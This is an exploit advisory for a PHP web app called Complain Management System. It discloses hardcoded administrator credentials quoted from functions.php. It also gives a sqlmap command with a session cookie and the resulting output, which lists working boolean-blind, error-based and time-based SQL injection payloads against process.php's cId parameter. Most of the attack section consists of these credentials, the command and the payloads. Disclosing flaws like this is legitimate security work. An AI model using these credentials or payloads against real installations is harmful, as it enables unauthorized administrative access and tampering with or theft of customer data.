Complain Management System SQL Injection

`# Title : Complain Management System SQL Injection  
# Date: 20 January 2017  
# Exploit Author: Sibusiso Sishi [email protected]  
# Tested on: Windows7 x32  
# Vendor: https://sourceforge.net/projects/complain-management-system/  
# Version: not supplied  
# Download Software: https://sourceforge.net/projects/complain-management-system/files  
  
#################################################  
  
## About The Product : ##  
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.  
  
## Vulnerability : ##   
The functions.php file line 88 has hardcoded admin credentials.  
elseif($uType == 'admin'){  
//$_SESSION['user_id'] = $row['sid'];  
if($userName == 'admin' && $password == 'admin123'){  
$_SESSION['user_id'] = 0;  
$_SESSION['user_name'] = 'Administrator';  
$_SESSION['user_type'] = 'admin';  
header('Location: '.WEB_ROOT.'index.php');  
exit;  
  
Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.  
  
-HTTP Method : GET  
  
- Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"  
  
- Sqlmap Output :   
sqlmap identified the following injection point(s) with a total of 622 HTTP(s) requests:  
---  
Parameter: cId (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
Payload: action=deleteCust&cId=123 RLIKE (SELECT (CASE WHEN (8336=8336) THEN 123 ELSE 0x28 END))  
  
Type: error-based  
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)  
Payload: action=deleteCust&cId=123 AND EXTRACTVALUE(8194,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(8194=8194,1))),0x716a6b6271))  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: action=deleteCust&cId=123 AND (SELECT * FROM (SELECT(SLEEP(5)))fdmM)  
---  
[22:54:32] [INFO] the back-end DBMS is MySQL  
web server operating system: Windows  
web application technology: Apache 2.4.23, PHP 5.6.24  
back-end DBMS: MySQL >= 5.1  
  
`